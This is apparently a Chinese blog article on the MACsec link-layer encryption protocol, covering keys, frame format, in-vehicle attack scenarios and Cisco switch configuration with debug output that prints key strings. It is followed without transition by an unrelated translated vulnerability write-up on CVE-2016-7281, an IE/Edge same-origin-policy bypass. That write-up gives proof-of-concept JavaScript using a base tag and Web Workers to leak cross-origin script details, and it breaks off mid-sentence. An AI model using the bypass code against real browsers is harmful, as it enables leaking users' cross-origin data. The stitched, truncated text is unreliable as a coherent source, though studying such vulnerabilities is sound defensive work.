> 自动驾驶即来，移动设备、视频流量、云服务的不断扩展，带宽需求也随之快速增长，网络环境也变得复杂，数据安全和隐私问题非常重要，其中对数据安全和隐私要求高的机构不能忽视局域网数据安全。
>
> 交换机作为构建局域网最基本的设备，企业交换机的部署需要更合适的安全协议，可以更有效的规避数据风险，保护企业的局域网安全，MACsec
> 是致力于下一代高速加密的企业、政府或服务提供商新的选择，如果有这样的需求，MACsec
> 安全协议数据链路层为企业提供更安全的选择，这篇文章来简单分析二者的联系。
## 1.MACsec协议是什么？
MACsec，英文全称 **Media Access Control security** ，中文为 **媒体访问控制安全协议**
，是基于802.1AE和802.1X协议的局域网上的安全通信方法，它拥有身份认证、数据加密、完整性校验、重播保护等功能保证 **以太网数据帧**
的安全，从更底层防止设备处理有安全威胁的报文，MACsec加密比任何其他更高层加密方法（如IPsec和SSL）的优先级更高。
因为在很多情况下，绝大部分的数据不像广域网中使用多种加密算法，在局域网链路中传输形式是明文传输的，由此引发许多安全隐患，在诸如银行金融领域，军事单位中帐户的信息被窃取、篡改，遭受恶意网络攻击后会引发严重的网络安全事件。
> MACsec可以保护所有以太网链路中流量（注意不是所有互联网流量，而是强调协议之间的 **互操作性** 和 **互补性**
> ），包括拒绝服务、入侵、中间人、伪装、被动窃听和重放攻击，可以将 MACsec 与其他安全协议（如 IP 安全 （IPsec） 和安全套接字层
> （SSL） 结合使用，以提供端到端网络安全。
网络中部署MACsec后，可对传输的以太网数据帧进行保护，降低信息泄露和遭受恶意网络攻击的风险。数据和报文仅在PC和交换机之间的链路上加密（点对点加密）。
交换机收到的数据包将解密并通过未加密的上行链路发送，为了加密交换机之间的传输，建议使用交换机 — 交换机加密。
### 1.1 MACsec的数据控制和数据处理：
> **控制部分** 遵从的是IEEE802.1x（802.10,802.11...WIFI也属于这个协议），只有认证的双方能够建立链接， **数据部分**
> 遵从的是IEEE802.AE，对以太网报文基于AES-GCM进行加密。
1. 当MACsec被使用时，只有认证双方可以连接网络
2. 所有期望“欺骗”交换机/路由将网络数据重定向到攻击者机器的行为都不能成功
3. MACsec是WiFi中WPA2的有线等效
4. 应用不会感知MACsec的存在
### 1.2 MACsec应用场景一：交换机点对点
交换机之间部署双向的MACsec对数据进行安全保护，实现通信安全。
### 1.3 MACsec应用场景二：含中间交换机
当中间包含多个交换机时，可以使用数据链路层的二层协议透明传输功能，实现通信安全。
## 2.如何应用MACsec在互联网安全中？
在两台设备之间实现MACsec时，MACsec协议的工作过程可以分为四个主要阶段，包括 **身份认证、会话协商** 、 **安全通信** 和
**会话终止** 。
* **身份认证** 阶段
在客户端和接入设备之间建立安全会话前，客户端首先需要在接入设备的端口上进行802.1X认证。客户端通过认证后， **RADIUS**
服务器会把生成的CAK分发给客户端和接入设备。
* **会话协商** 阶段
使用配置的预共享密钥 (PSK) 作为 CAK（连接关联密钥），通过 EAPOL-MKA（LAN-MACsec协议上的可扩展身份验证协议）消息在设备之间协商会话。设备间优先级高的端口会被选举为Key
Server，负责生成和分发SAKs（安全关联密钥），设备之间相互通知自己的能力和建立会话所需的各种参数（如优先级，是否需要加密会话等）通过 MKA 协议。
CAK作用：生成用于MACsec的所有其他密钥的长期主密钥。
SAK作用：是路由器/终端设备用于加密给定会话流量的密钥。
* **安全通信** 阶段
会话协商完成后，客户端和接入设备有了可用的SAK，并使用SAK加密数据报文，开始加密通信。
* **会话终止** 阶段
当接入设备收到802.1X客户端的下线请求消息后，立即清除该用户对应的安全会话，避免一个未认证的客户端使用端口上前一个已认证客户端建立的安全会话接入网络。
此外，MKA协议里定义了一个会话保活定时器，如果在超时时间内（6秒），本端没有收到对端的MKA协议报文，则在定时器超时后，本端将清除建立的安全会话。
* **名词解释：**
缩写 | 名称 | 指代对象
---|---|---
**MKA** | MACsec密钥协议 | 在IEEE 802.1X REV-2010中定义为用于发现MACsec对等体和协商密钥的关键协议协议
**CAK** | 连接关联密钥 | 用于生成用于MACsec的所有其他密钥的长期主密钥。 LAN实施从MSK派生此信息（在EAP交换期间生成）
**PMK** | 成对主密钥 | 用于派生用于加密流量的会话密钥的组件之一。手动配置或从802.1X派生
**CKN** | CAK密钥名称 | 用于配置密钥值或CAK。仅允许偶数个十六进制字符（最多64个字符）。
**SAK** | 安全关联密钥 | 由从CAK选出的密钥服务器派生，是路由器/终端设备用于加密给定会话流量的密钥。
**ICV** | 完整性检查值键 | 从CAK派生，并在每个数据/控制帧中标记，以证明该帧来自授权对等体。8-16个字节，具体取决于密码套件
**KEK** | 密钥加密密钥 | 派生自CAK（预共享密钥），用于保护MacSec密钥
**SCI** | 安全通道标识符 | 每个虚拟端口接收一个唯一的安全通道标识符(SCI)，该标识符基于与16位端口ID连接的物理接口的MAC地址
## 3.MACsec协议的格式
**控制帧(EAPOL-MKA)** 协议格式：
* EAPOL目标MAC = 01:80:C2:00:00:03将数据包组播到多个目标
* EAPOL以太网类型= 0x888E
**数据帧** 协议格式：
MACSec会在数据帧上插入两个额外标签，最大开销 **为32字** 节（最少16字节）。
* **SecTag** = 8到16字节（8字节SCI是可选的）
* **ICV** = 8到16个字节，基于密码套件(AES128/256)
> 数据包编号和重放保护：
> 在每个安全关联中，可以通过对照本堆存储的分组号检查SecTAG报头的分组号字段来执行重放保护。每个MCsC分组具有唯一的顺序分组号，并且每
> 个分组号在给定的安全关联中只能使用一次。
## 4.自动驾驶汽车的汽车网络和系统架构攻击
无论是数据交换和数据通信，又或者是家庭网络安全和企业园区网络安全，涉及两个远距离数据中心网络之间使用光纤互联，光纤穿越的地方属于公共区域，该区域
内的数据暴露风险较大。为了防止数据在中间传输过程中被窃取或修改，可在两个网络边缘设备出 端口上采用 MACsec 对数据传输进行安全保护。
### 4.1 以太网链路窃听攻击实现：
在通常的以太网连接中，没有在数据链路层部署MACsec协议，也没有入侵者进行攻击，获取新数据，接下来查看两种情况，分别是遭受图像监控和数据破坏攻击在没有部署和部署MACsec协议的协议执行流程。
黑客可以通过私密加装中间设备，以偷取数据，监控屏幕，终端无法得知系统是否处于危险状态，也无法得知是否有人窃听网络。
启用MACsec协议，保密传输帧时，成功阻止入侵者获取信息，保证数据的正常显示。
> 处理数据和控制流量：
> 所有流量都在一个活动的MACsec端口上进行控制，在该端口上，数据被加密，或其完整性受到保护。如果MACsec会话无法得到保护，所有数据和控制流量都会被丢弃，当MACsecseC在某个端口上处于活动状态时，该端口会阻止数据流量的流动，在MACsecsec会话安全之前，端口不会转发数据流量。
>
> 如果正在进行的会话被打断，端口上的流量将再次被传输，直到建立新的安全会话。
### 4.2 以太网链路DoS攻击实现：
入侵者可以在中间数据链路层中破坏数据流的传输，导致Camera无法起作用，但并不是Camera出现问题，难以准确定位问题所在。
当部署MACsec协议后，检测入侵者的接收设备并没有得到认证（如RADIUS），所以为了保护正常显示，会在交换设备出阻止入侵连接，进入正常用户数据帧接收处，导致防护成功。
> 数据控制：
>
>
> 在MACsec会话得到保护之前，活动MACsec端口不会传输控制流量（如STP、LACP）。建立会话时，只有8O2.1X协议数据包从端口传输。建立安全会话后，控制流量会正常通过端口。
汽车企业和制造商可可以使用MACsec在最大程度上保护汽车，以免暴露在外界特别容易受到以太网链路攻击，MACsec可以比作汽车安全工具箱中的性价比很高的安全工具，并且MACsec支持系统工程师将其与其他安全措施结合使用（IPSec和TLS）这样的工具。
## 5.路由器Cisco安全MACsec协议配置过程和相关验证
### 步骤1.验证链路两端的配置
显示当前设备的运行配置信息，并只显示与密钥链相关的配置信息，方便管理员查看和管理设备上的密钥链配置。
C9500#sh run | sec key chain
key chain KEY macsec
key 01
cryptographic-algorithm aes-256-cmac
key-string 7
101C0B1A0343475954532E2E767B3233214105150555030A0004500B514B175F5B05515153005E0E5E505C5256400702
5859040C27181B5141521317595F052C28
lifetime local 00:00:00 Aug 21 2019 infinite <-- use NTP to sync the time for key chains
mka policy MKA
key-server priority 200
macsec-cipher-suite gcm-aes-256
confidentiality-offset 0
显示交换机接口te1/1/3的运行配置信息，包括地理位置、组态信息和特定的协议配置等，可以通过这个命令查看和修改交换机接口的配置信息。
C9300#sh run interface te1/1/3
interface te1/1/3
macsec network-link
mka policy MKA
mka pre-shared-key key-chain KEY
### 步骤 2 验证MACsec已启用，且所有参数/计数器都正确
显示MACsec加密的摘要信息
* Interface：交换机的接口名称。
* Transmit SC：此接口上MACsec加密所用的下行（即传输数据）Secure Channel ID（SC）计数器的值。
* Receive SC：此接口上MACsec加密所用的上行（即接收数据）Secure Channel ID（SC）计数器的值。
FortyGigabitEthernet1/0/1 接口使用的MACsec加密。"Transmit SC"和 "Receive SC" 列都有值1。
C9500#sh macsec summary
Interface Transmit SC Receive SC
FortyGigabitEthernet1/0/1 1 1
查看指定接口的MACsec加密的具体配置信息，包括其状态、操作模式、加密策略。
C9500#sh macsec interface fortyGigabitEthernet 1/0/1
MACsec is enabled
Replay protect : enabled
Replay window : 0
Include SCI : yes
Use ES Enable : no
Use SCB Enable : no
Admin Pt2Pt MAC : forceTrue(1)
Pt2Pt MAC Operational : no
Cipher : GCM-AES-256
Confidentiality Offset : 0
网络设备的功能列表或能力列表，包括硬件和软件上的功能。
Capabilities
ICV length : 16
Data length change supported: yes
Max. Rx SA : 16
Max. Tx SA : 16
Max. Rx SC : 8
Max. Tx SC : 8
Validate Frames : strict
PN threshold notification support : Yes
Ciphers supported : GCM-AES-128
GCM-AES-256
GCM-AES-XPN-128
GCM-AES-XPN-256
"Transmit Secure Channels"是指在使用MACsec加密的网络连接中，发送（即传输数据）数据流的安全通道（Secure
Channel）的数量，每个接口可以有多个Transmit Secure Channels，以提供更多的安全通道、更好的容错能力和更高的性能。
Transmit Secure Channels
SCI : 0CD0F8DCDC010008
SC state : notInUse(2)
Elapsed time : 00:24:38
Start time : 7w0d
Current AN: 0
Previous AN: - Next PN: 2514
SA State: notInUse(2)
Confidentiality : yes
SAK Unchanged : yes
SA Create time : 1d01h
SA Start time : 7w0d
SC Statistics用于加密网络连接中，记录和统计安全通道（Secure
Channel）的数据传输情况、错误情况以及其他相关统计数据的功能。在数据流向安全通道传输时，设备会记录各种数据，并提供与安全通道相关的统计信息。
SC Statistics
Auth-only Pkts : 0
Auth-only Bytes : 0
Encrypt Pkts : 3156 <-- should increment with Tx traffic
Encrypt Bytes : 0
SA是两个设备之间的一个安全协议，它包含了用于保护数据通信的密钥及算法等信息。在SA传输数据时，设备会对SA的传输进行数据记录，包括传输的正确性、协议支持情况等。
SA Statistics
Auth-only Pkts : 0
Encrypt Pkts : 402 <-- should increment with Tx traffic
Receive Secure Channels是指在使用MACsec加密的网络连接中，接收（即接收数据）数据流的安全通道（Secure
Channel）的数量。在接收数据时，接收器会使用一组Secure Channel
ID计数器的值来标识和保护数据流。MACsec使用这个值来保护数据流的完整性，以防止未经授权的访问和数据篡改。
Receive Secure Channels
SCI : A0F8490EA91F0026
SC state : notInUse(2)
Elapsed time : 00:24:38
Start time : 7w0d
Current AN: 0
Previous AN: - Next PN: 94
RX SA Count: 0
SA State: notInUse(2)
SAK Unchanged : yes
SA Create time : 1d01h
SA Start time : 7w0d
SC Statistics
Notvalid pkts 0
Invalid pkts 0
Valid pkts 0
Valid bytes 0
Late pkts 0
Uncheck pkts 0
Delay pkts 0
UnusedSA pkts 0
NousingSA pkts 0
Decrypt bytes 0
SA Statistics
Notvalid pkts 0
Invalid pkts 0
Valid pkts 93
UnusedSA pkts 0
NousingSA pkts 0
!
Port Statistics
Ingress untag pkts 0
Ingress notag pkts 748
Ingress badtag pkts 0
Ingress unknownSCI pkts 0
Ingress noSCI pkts 0
Ingress overrun pkts 0
显示指定接口fortyGigabitEthernet 1/0/1上的MKA（MACsec Key Agreement 密钥协商协议）会话信息。
C9500#sh mka sessions interface fortyGigabitEthernet 1/0/1
Summary of All Currently Active MKA Sessions on Interface FortyGigabitEthernet1/0/1...
================================================================================================
====
Interface Local-TxSCI Policy-Name Inherited Key-Server
Port-ID Peer-RxSCI MACsec-Peers Status CKN
================================================================================================
====
Fo1/0/1 0cd0.f8dc.dc01/0008 MKA NO YES
8 a0f8.490e.a91f/0026 1 Secured01 <--- CKN number must match on both
0cd0.f8dc.dc01 <-- MAC of local interface
a0f8.490e.a91f <-- MAC of remote neighbor
8 <-- indicates IIF_ID of respective local port (here IF_ID is 8 for local port fo1/0/1)
查找特定端口（如/0/1端口）的接口号（interface number）为"Fo1/0/1
* iif-id：接口标识符。
* gid：分组标识符。
* slot/unit：接口的槽号和单元号。
* slun：接口的SLUN（Switch Logic Unit Number）值。
* HWIDB-Ptr：指向关键硬件接口的指针。
* status：接口的状态。
* status2：接口的第二种状态。
* state：接口的当前状态。
* snmp-if-index：SNMP（Simple Network Management Protocol）接口索引号。
C9500#sh platform pm interface-numbers | in iif|1/0/1
interface iif-id gid slot unit slun HWIDB-Ptr status status2 state snmp-if-index
Fo1/0/1 8 1 1 1 1 0x7EFF3F442778 0x10040 0x20001B 0x4 8
查看 FortyGigabitEthernet 1/0/1 接口的 MACsec Key Agreement (MKA) 会话的详细信息，MACsec
保护参数、密钥、会话 ID 等信息。
C9500#sh mka sessions interface fortyGigabitEthernet 1/0/1 detail
MKA Detailed Status for MKA Session
===================================
Status: SECURED - Secured MKA Session with MACsec
Local Tx-SCI............. 0cd0.f8dc.dc01/0008
Interface MAC Address.... 0cd0.f8dc.dc01
MKA Port Identifier...... 8
Interface Name........... FortyGigabitEthernet1/0/1
Audit Session ID.........
CAK Name (CKN)........... 01
Member Identifier (MI)... DFDC62E026E0712F0F096392
Message Number (MN)...... 536 <-- should increment as message numbers increment
EAP Role................. NA
Key Server............... YES
MKA Cipher Suite......... AES-256-CMAC
Latest SAK Status........ Rx & Tx
Latest SAK AN............ 0
Latest SAK KI (KN)....... DFDC62E026E0712F0F09639200000001 (1)
Old SAK Status........... FIRST-SAK
Old SAK AN............... 0
Old SAK KI (KN).......... FIRST-SAK (0)
SAK Transmit Wait Time... 0s (Not waiting for any peers to respond)
SAK Retire Time.......... 0s (No Old SAK to retire)
SAK Rekey Time........... 0s (SAK Rekey interval not applicable)
MKA Policy Name.......... MKA
Key Server Priority...... 200
Delay Protection......... NO
Delay Protection Timer.......... 0s (Not enabled)
Confidentiality Offset... 0
Algorithm Agility........ 80C201
SAK Rekey On Live Peer Loss........ NO
Send Secure Announcement.. DISABLED
SAK Cipher Suite......... 0080C20001000002 (GCM-AES-256)
MACsec Capability........ 3 (MACsec Integrity, Confidentiality, & Offset)
MACsec Desired........... YES
查看 MACsec Key Agreement (MKA) 策略配置的详细信息，包括 MKA 策略名称、密钥交换协议和密钥服务器配置。
C9500#sh mka policy MKA
MKA Policy defaults :
Send-Secure-Announcements: DISABLED
!
MKA Policy Summary...
!
Codes : CO - Confidentiality Offset, ICVIND - Include ICV-Indicator,
SAKR OLPL - SAK-Rekey On-Live-Peer-Loss,
DP - Delay Protect, KS Prio - Key Server Priority
Policy KS DP CO SAKR ICVIND Cipher Interfaces
Name Prio OLPL Suite(s) Applied
===============================================================================
MKA 200 FALSE 0 FALSE TRUE GCM-AES-256 Fo1/0/1 <-- Applied to Fo1/0/1
查看已发送和已接收的 MACsec PDU (协议数据单元) 数量的统计信息。
C9500#sh mka statistics | sec PDU
MKPDU Statistics
MKPDUs Validated & Rx...... 2342 <-- should increment
"Distributed SAK"..... 0
"Distributed CAK"..... 0
MKPDUs Transmitted......... 4552 <-- should increment
### 步骤3.检查链路启动时的软件调试
这一步非常重要，需要我们识别关键信息。
* `debug cts sap events`: 显示 CTS (Cisco TrustSec) 和 SAP (Security Association Protocol) 事件的调试信息，包括已建立的安全关联和激活的安全服务等。
* `debug cts sap packets`: 显示 CTS 和 SAP 数据包的调试信息，包括已发送和已接收的数据包、数据包的标头、负载和加密状态等。
* `debug mka event`: 显示 MKA (MACsec Key Agreement) 事件的调试信息，包括MKA 会话状态的变化，启用和禁用 MKA 功能等。
* `debug mka errors`: 显示 MKA 运行时可能出现的错误和故障的调试信息，包括 MACsec 错误、密钥交换故障、MKA 配置错误等。
* `debug mka packets`: 显示 MKA 数据包的调试信息，八廓已发送和已接收的 MKA 控制报文 (MKA control packets)、保护参数提案 (SA proposal)、密钥交换报文 (KEK Packets)、生命信号报文 (Keep-Alive Packets) 等。
* `debug mka ka errors`: 显示 MKA 存活 (Keep-Alive) 相关错误和故障的调试信息，包括保活超时、保活错误、无法发送或接收保活报文等。
### Verify CTS and SAP events ###
debug cts sap events
debug cts sap packets
### Troubleshoot MKA session bring up issues ###
debug mka event
debug mka errors
debug mka packets
### Troubleshoot MKA keep-alive issues ###
debug mka linksec-interface
debug mka macsec
debug macsec
*May 8 00:48:04.843: %LINK-3-UPDOWN: Interface GigabitEthernet1/0/1, changed state to down
*May 8 00:48:05.324: Macsec interface GigabitEthernet1/0/1 is UP
*May 8 00:48:05.324: CTS SAP ev (Gi1/0/1): Session started (new).
*May 8 00:48:05.324: cts_sap_session_start CTS SAP ev (Gi1/0/1) peer:0000.0000.0000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CTS SAP ev (Gi1/0/1): Old state: [waiting to restart],
event: [restart timer expired], action: [send message #0] succeeded.
New state: [waiting to receive message #1].
*May 8 00:48:05.449: CTS SAP ev (Gi1/0/1): EAPOL-Key message from D0C7.8970.C381 <-- MAC of
peer switch/router
*May 8 00:48:05.449: CTS SAP ev (Gi1/0/1): EAPOL-Key message #0 parsed and validated.
*May 8 00:48:05.449: CTS SAP ev (Gi1/0/1): Our MAC = 682C.7B9A.4D01 <-- MAC of
local interface
peer's MAC = D0C7.8970.C381.
CTS SAP ev (Gi1/0/1): Old state: [waiting to receive message #1],
event: [received message #0], action: [break tie] succeeded.
New state: [determining role].
*May 8 00:48:05.449: cts_sap_generate_pmkid_and_sci CTS SAP ev (Gi1/0/1) auth:682c.7b9a.4d01
supp:d0c7.8970.c381, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CTS SAP ev (Gi1/0/1): Old state: [determining role],
event: [change to authenticator], action: [send message #1] succeeded.
New state: [waiting to receive message #2].
*May 8 00:48:05.457: CTS SAP ev (Gi1/0/1): EAPOL-Key message from D0C7.8970.C381.
CTS SAP ev (Gi1/0/1): New keys derived:
KCK = 700BEF1D 7A8E10F7 1243A168 883C74FB,
KEK = C207177C B6091790 F3C5B4B1 D51B75B8,
TK = 1B0E17CD 420D12AE 7DE06941 B679ED22,
### 步骤4.在链路启动时查看平台级跟踪
显示第一个交换机的MACsec接口和其对应物理接口之间的映射关系。
9300_stack#sh platform software fed switch 1 ifm mappings
Interface IF_ID Inst Asic Core Port SubPort Mac Cntx LPN GPN Type Active
GigabitEthernet1/0/1 0x8 1 0 1 0 0 26 6 1 1 NIF Y
Note the IF_ID for respective intf
- You will see this respective IF_ID in MACSEC FED traces below.
* `set platform software trace fed switch 1 cts_aci verbose`: 开启第一个交换机上的CTS-ACI跟踪，并设置为详细模式。
* `set platform software trace fed switch 1 macsec verbose`: 开启第一个交换机上的MACsec跟踪，并设置为详细模式。
* `request platform software trace rotate all`: 将所有跟踪文件循环重写，以释放存储空间并确保跟踪一直处于运行状态。
9300_stack#set platform software trace fed switch 1 cts_aci verbose
9300_stack#set platform software trace fed switch 1 macsec verbose <-- switch number with
MACsec port
9300_stack#request platform software trace rotate all
显示第一个交换机软件平台跟踪的消息。
9300_stack#show platform software trace message fed switch 1
2019/05/08 01:08:50.688 {fed_F0-0}{1}: [macsec] [16837]: UUID: 0, ra: 0, TID: 0 (info): FED sent
macsec_sa_sc_res_msg successfully
2019/05/08 01:08:50.688 {fed_F0-0}{1}: [macsec] [16837]: UUID: 0, ra: 0, TID: 0 (info): FED
sending macsec_sa_sc_res_msg
2019/05/08 01:08:50.688 {fed_F0-0}{1}: [macsec] [16837]: UUID: 0, ra: 0, TID: 0 (debug): Running
Install RxSA job for SCI: 15044144197663784960 AN:0 if_id: 0x8 lpn: 1
### 步骤5.验证硬件中MACsec接口的状态
显示包含所有可用于性能测量（performance measurement）的接口及其相应的编号。
9300_stack#sh platform pm interface-numbers
interface iif-id gid slot unit slun HWIDB-Ptr status status2 state snmp-if-index
------------------------------------------------------------------------------------------------ ------- Gi1/0/1 8 1 1 1 1 0x7F2C90D7C600 0x10040 0x20001B 0x4 8
* `sh pl software fed switch 1 ifm if-id 8`: 显示第一个交换机上关于特定接口映射的信息，这里的接口ID为8。
* `iif-id 8 maps to gig1/0/1`: FED上的接口ID 8 映射到 GigabitEthernet 1/0/1 物理接口。
9300_stack#sh pl software fed switch 1 ifm if-id 8 <-- iif-id 8 maps to gig1/0/1
Interface IF_ID : 0x0000000000000008
Interface Name : GigabitEthernet1/0/1
Interface Block Pointer : 0x7f4a6c66b1b8
Interface Block State : READY
Interface State : Enabled
Interface Status : ADD, UPD
Interface Ref-Cnt : 8
Interface Type : ETHER
Port Type : SWITCH PORT
Port Location : LOCAL
Slot : 1
Unit : 0
Slot Unit : 1
SNMP IF Index : 8
GPN : 1
EC Channel : 0
EC Index : 0
Port Handle : 0x4e00004c
显示给定资源句柄（
`0x7f4a6c676bc8`）在第一个交换机的硬件前端（FED）中的映射情况，并根据需要指定相应的ASIC块，显示MACsec详细配置信息。
9300_stack# sh pl hard fed switch 1 fwd-asic abstraction print-resource-handle 0x7f4a6c676bc8 1
<< port_LE handle
Handle:0x7f4a6c676bc8 Res-Type:ASIC_RSC_PORT_LE Res-Switch-Num:0 Asic-Num:1 Feature- ID:AL_FID_IFM Lkp-ftr-id:LKP_FEAT_INGRESS_PRECLASS1_IPV4 ref_count:1
priv_ri/priv_si Handle: (nil)Hardware Indices/Handles: index1:0x0 mtu_index/l3u_ri_index1:0x2 sm
handle [ASIC 1]: 0x7f4a6c682a08
Detailed Resource Information (ASIC# 1)
**snip**
LEAD_PORT_ALLOW_CTS value 0 Pass
LEAD_PORT_ALLOW_NON_CTS value 0 Pass
LEAD_PORT_CTS_ENABLED value 1 Pass <-- Flag = 1 (CTS enabled)
LEAD_PORT_MACSEC_ENCRYPTED value 1 Pass <-- Flag = 1 (MACsec encrypt enabled)
LEAD_PORT_PHY_MAC_SEC_SUB_PORT_ENABLED value 0 Pass
LEAD_PORT_SGT_ALLOWED value 0 Pass
LEAD_PORT_EGRESS_MAC_SEC_ENABLE_WITH_SCI value 1 Pass <-- Flag = 1 (MACsec with SCI enabled)
LEAD_PORT_EGRESS_MAC_SEC_ENABLE_WITHOUT_SCI value 0 Pass
LEAD_PORT_EGRESS_MAC_SEC_SUB_PORT value 0 Pass
LEAD_PORT_EGRESS_MACSEC_ENCRYPTED value 0 Pass
**snip**
## 6.如何应用在车载通信安全中？
用密钥加密数据（对称加密），防止被未经授权的第三方窃听，而协议所在的通信等级是选择协议时的一个主要考虑因素，MACsec (IEEE 802.1AE)
在OSI第2层工作，因此始终仅直接用于两个相邻以太网节点之间。
在车载通信安全中，存在极端情况是拒绝服务攻击，反复发送消息，其目标是导致信息过载。这会极大影响系统的正常通信，这些防御机制可以恢复被攻击者攻破的安全架构防护层。根据应用情况
，决定是否要继续无阻碍运行，或者由自动化汽车的驾驶员再次接管方向盘。
上图多级安全架构对于保护通过车载以太网进行的通信来说具有重要的作用，而网络安全领域和IT领域的交换机配置、VLAN虚拟局域网等多种方式应用广泛，可以对汽车安全形成一定的试验区，增强安全车载和智能驾驶。
## 7.MACsec的两种安全学习模式
### 7.1 静态 CAK 模式：
#### 步骤1：
先使用静态 CAK 模式启用 MACsec 时，两个安全密钥（连接关联密钥 （CAK）和随机生成安全关联密钥 （SAK）
将用于保护链路安全。在点对点以太网链路的每一端，两台设备之间都会定期交换这两个密钥，以确保链路安全。
* 连接关联是一组 MACsec 属性，用于对接口创建两个安全通道，一个用于入站流量，一个用于出站流量。安全通道负责在 MACsec 安全链路上发送和接收数据。
#### 步骤2：
然后使用静态 CAK 安全模式启用 MACsec ，使用预共享密钥首次建立 MACsec 安全链路。预共享密钥包括连接关联名称 （CKN） 及其自己的
CAK。CKN 和 CAK 由连接关联中的用户配置，且必须在链路的两端匹配，才能首次启用 MACsec。
#### 步骤3：
最后成功交换匹配的预共享密钥后，将启用 MACsec 密钥协议 （MKA） 协议。MKA 协议负责维护链路上的
MACsec，并决定点对点链路上的哪个交换机成为关键服务器。然后，密钥服务器会创建一个仅与交换机在点对点链路另一端共享的 SAK，该 SAK
用于保护遍历该链路的所有数据流量。只要启用了 MACsec，密钥服务器将继续在点对点链路上定期创建并共享随机创建的 SAK。
### 7.2 动态 CAK 模式：
#### 步骤1：
先在MACsec 链路上的对等节点会作为 802.1X 身份验证过程的一部分动态生成安全密钥。对等节点在身份验证期间从 RADIUS 服务器接收
MACsec 密钥属性，并使用这些属性动态生成 CAK 和 CKN。然后，他们交换密钥以创建一个 MACsec 安全连接。
#### 步骤2：
然后因为动态 CAK 模式比静态 CAK 模式的管理更容易，所以不需要手动配置密钥。可以用 RADIUS 服务器集中管理密钥。
#### 步骤3：
最后在交换机到主机链路上，交换机是 802.1X 验证方，主机是请求方。在链路连接交换机或路由器上，这些设备必须同时充当验证方和请求方，以便相互验证。
> 动态 CAK 模式依赖于使用可扩展身份验证协议传输层安全 （EAP-TLS） 的基于证书的验证。RADIUS 服务器和交换设备必须使用 EAP-TLS
> 和公共密钥基础架构，才能在动态 CAK 模式下支持 MACsec，这也说明了协议的严谨性和安全性。
## 8.MACsec安全协议：
因此需要注意的是：并不是所有的交换机都支持MACsec安全协议，在终端一个无限制的数目可能需要验证到单个交换机端口，不支持MACsec安全协议，属于多验证模式，。也不是所有的汽车都存在MACsec保护。新兴的造车企业（如比亚迪、Telsa）及传统车企投入的一些未来车型的研发则有陆续采用更先进的整车电子电气架构，智能驾驶域控制器，内嵌MACsec安全协议，为智能化控制和车载安全提供基础，防范黑客攻击。
> 参考链接：
>
> 1.[汽车E/E电子架构的进化和改革简介 - 知乎
> (zhihu.com)](https://zhuanlan.zhihu.com/p/97912248)
>
> 2.[车载网络安全——MACsec/IPsec/SSL简介 - 知乎
> (zhihu.com)](https://zhuanlan.zhihu.com/p/597536539)
>
> 3.[用于自动驾驶的安全车载以太网——多级安全架构简介 - 知乎
> (zhihu.com)](https://zhuanlan.zhihu.com/p/386919986)
* * * | 社区文章 |
# 【漏洞分析】CVE-2016-7281：IE/Edge同源策略绕过漏洞
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/workers-sop-bypass-importscripts-and-basehref/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **vector**
****](http://bobao.360.cn/member/contribute?uid=1497851960)
**预估稿费：100RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**
**
**前言**
SOP（同源策略）可以说是Web安全的最核心的安全机制，一旦被绕过，就可能导致重大的安全漏洞。
**SOP原理**
正如我们所知道的，所有的浏览器在试图访问来自不同来源的资源时都会施加一些限制。
当然，我们可以播放音乐和渲染图像来自不同的域，但是由于同源策略的限制，我们将无法读取这些资源的内容。
例如，我们可以在canvas上绘制图像，但除非同源，否则我们无法使用getimagedata读取图片像素信息。同样的规则适用于脚本。我们可以自由加载外部脚本在不同的域，但如果有一个错误，我们将无法获得任何细节，因为错误本身可能泄漏信息。换句话说，浏览器通过抑制错误细节试图避免资源信息的泄漏。
比方说，我们在cracking.com.ar渲染brokenbrowser.com的一个脚本，就像这样：
---- Main page on cracking.com.ar ---- <script src="http://brokenbrowser.com/errorscript.js"></script>
---- Script errorscript.js hosted in brokenbrower.com ---- this_is_an_error();
当试图执行不存在的功能”this_is_an_error()“，浏览器将抛出一个错误。然而，由于script脚本来自与不同的源，所以在cracking.com.ar上不会显示任何错误细节。
实际上，cracking.com.ar只会得到一个script error，而重要的信息如错误细节，url和行号都不会显示。
这种行为是正确的，它保证了终端用户的信息不会被泄露
Script requested from a different origin:
Description: Script error
URL:
Line: 0
另外一方面，如果我们在同一域中运行这个脚本，我们会得到更多的信息。可以比较两个之间的不同
Script requested from the same origin:
Description: 'this_is_an_error' is undefined
URL: http://www.cracking.com.ar/errorscript.js
Line: 1
如果你想知道SOP的完整细节，你可以看这里[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)
**漏洞详情**
对于这个漏洞，我们只关心下面这一部分
既然我们知道了原理，那么我们用Workers来绕过这些限制。
正常情况下，当我们直接用worker去请求另一个域的资源显然会报错，如图
但是如果创建一个base的标签，标签的href指向[http://www.bing.com](http://www.bing.com/)，然后用worker请求bing域下的js文件
var base = document.createElement("base");
base.href = "http://www.bing.com";
document.head.appendChild(base);
var worker = new Worker('http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js');
可以看出，控制台并没有报错
我们创建一个快速创建一个PoC来查看我们会得到什么泄露信息
var base = document.createElement("base");
base.href = "http://www.bing.com";
document.head.appendChild(base);
var worker = new Worker('http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js');
---
也许你认为仅仅是泄露函数名并不是大问题，对吧？但是，要记住很多网站会返回给用户特定的响应数据，如果我们能否得到足够多的泄露数据，我们就可以猜到成吨的东西。另外，如果我们发现一个那个源的读取文件的JavaScript，（如使用XMLHttpRequest）我们可能会得到更多的东西。
在任何情况下，仅仅泄露“undefined sj_ic”对我们来说是不够的，我们需要更多的。我们要绕过这个错误让脚本继续执行。
这一次我们用Worker的importScripts来达到这个目的，引入的script将会在我们的域下执行（译者注：所以这并不是SOP
